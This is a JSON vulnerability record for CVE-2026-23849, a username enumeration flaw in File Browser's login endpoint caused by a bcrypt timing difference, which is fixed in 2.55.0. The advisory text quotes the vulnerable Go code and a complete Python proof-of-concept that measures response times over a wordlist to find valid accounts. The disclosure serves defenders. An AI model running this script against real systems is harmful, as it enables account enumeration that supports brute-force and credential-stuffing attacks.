{"id":"CVE-2026-23849","aliases":["CVE-2026-23849","GHSA-43mm-m3h2-3prc","GO-2026-4344"],"related":["CGA-f53x-mw79-64p5"],"kind":"vulnerability","state":"published","title":"File Browser vulnerable to Username Enumeration via Timing Attack in /api/login","summary":"File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"File Browser provides a file managing interface within a specified directory and can be used to upload, delete, preview, rename, and edit files. Prior to version 2.55.0, the JSONAuth. Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. The vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy. Version 2.55.0 contains a patch for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If 'err != nil' (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n    return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n    start = time.perf_counter()\n    try:\n        requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return 0\n    return time.perf_counter() - start\n\ndef calibrate(url):\n    print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n    times = []\n    \n    print(\"    Progress: \", end=\"\", flush=True)\n    for _ in range(CALIBRATION_SAMPLES):\n        random_user = generate_random_user()\n        elapsed = measure_response_time(url, random_user)\n        times.append(elapsed)\n        print(\".\", end=\"\", flush=True)\n    print(\" OK\")\n    \n    mean = statistics.mean(times)\n    try:\n        stdev = statistics.stdev(times)\n    except:\n        stdev = 0.0\n    \n    threshold = mean + (5 * stdev) + 0.005\n    \n    print(f\"    - Mean time (invalid users): {mean:.4f}s\")\n    print(f\"    - Standard deviation: {stdev:.6f}s\")\n    print(f\"    - Threshold set: {threshold:.4f}s\")\n    \n    return threshold\n\ndef load_wordlist(wordlist_path):\n    try:\n        with open(wordlist_path, 'r', encoding='utf-8') as f:\n            users = [line.strip() for line in f if line.strip()]\n        return users\n    except FileNotFoundError:\n        print(f\"[!] Wordlist not found: {wordlist_path}\")\n        exit(1)\n    except Exception as e:\n        print(f\"[!] Error reading wordlist: {e}\")\n        exit(1)\n\ndef timing_attack(url, threshold, users):\n    print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n    print(\"-\" * 50)\n    print(f\"{'Username':<15} | {'Time':<10} | {'Status'}\")\n    print(\"-\" * 50)\n    \n    found = []\n    \n    for user in users:\n        elapsed = measure_response_time(url, user)\n        \n        if elapsed > threshold:\n            status = \">> VALID <<\"\n            found.append(user)\n        else:\n            status = \"invalid\"\n            \n        print(f\"{user:<15} | {elapsed:.4f}s | {status}\")\n        \n    return found\n\ndef main():\n    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')\n    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')\n    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')\n    args = parser.parse_args()\n    \n    target_url = args.url.rstrip('/') + ENDPOINT\n    \n    print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n    print(f\"[*] Target: {target_url}\")\n    print(f\"[*] Wordlist: {args.wordlist}\")\n    \n    try:\n        threshold = calibrate(target_url)\n        users = load_wordlist(args.wordlist)\n        print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n        print(\"[*] Starting attack...\")\n        \n        valid_users = timing_attack(target_url, threshold, users)\n        \n        print(\"\\n\" + \"=\"*50)\n        print(f\"SUMMARY: {len(valid_users)} valid users found\")\n        if valid_users:\n            for u in valid_users:\n                print(f\"  -> {u}\")\n        print(\"=\"*50)\n        \n    except KeyboardInterrupt:\n        print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n<img width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" />\n\nI am going to use the exploit to list valid users.\n<img width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" />\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)","format":"markdown","source":"ghsa"},{"lang":"en","text":"File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser","format":"markdown","source":"go"},{"lang":"es","text":"El Navegador de Archivos proporciona una interfaz de gestión de archivos dentro de un directorio especificado y puede ser utilizado para subir, eliminar, previsualizar, renombrar y editar archivos. Antes de la versión 2.55.0, la función JSONAuth. Auth contiene un fallo lógico que permite a atacantes no autenticados enumerar nombres de usuario válidos midiendo el tiempo de respuesta del endpoint /api/login. La vulnerabilidad existe debido a una evaluación de 'cortocircuito' en la lógica de autenticación. Cuando un nombre de usuario no se encuentra en la base de datos, la función devuelve inmediatamente. Sin embargo, si el nombre de usuario sí existe, el código procede a verificar la contraseña usando bcrypt (users.CheckPwd), que es una operación computacionalmente costosa diseñada para ser lenta. Esta diferencia en la ruta de ejecución crea una discrepancia de tiempo medible. La versión 2.55.0 contiene un parche para el problema.","source":"nvd"}],"published":"2026-01-19T20:37:29.716Z","modified":"2026-09-10T03:50:58.934Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-203","CWE-208"],"affected":[{"ranges":[{"version":"< 2.55.0","status":"affected"}],"vendor":"filebrowser","product":"filebrowser","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.11.0"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser","purl":"pkg:golang/github.com/filebrowser/filebrowser","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.55.0"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser/v2","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser","purl":"pkg:golang/github.com/filebrowser/filebrowser","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.55.0"}],"ecosystem":"Go","package":"github.com/filebrowser/filebrowser/v2","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2","source":"go"},{"ranges":[{"status":"affected","fixed":"2.55.0"}],"vendor":"filebrowser","product":"filebrowser","cpe":"cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23849","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/filebrowser/filebrowser","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-01-20T15:54:21.087Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23849","url":"https://www.cve.org/CVERecord?id=CVE-2026-23849","licence":"CVE Terms of Use","modified":"2026-01-20T15:54:36.499Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-43mm-m3h2-3prc","url":"https://github.com/advisories/GHSA-43mm-m3h2-3prc","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:58.934Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4344","url":"https://pkg.go.dev/vuln/GO-2026-4344","licence":"CC-BY-4.0","modified":"2026-02-04T13:58:53.162Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23849","licence":"Public domain","modified":"2026-06-17T10:22:12.120Z"}],"updatedAt":"2026-11-25T22:59:12.957Z","epss":{"score":0.00478,"percentile":0.42918,"date":"2026-12-01T12:00:22.000Z"}}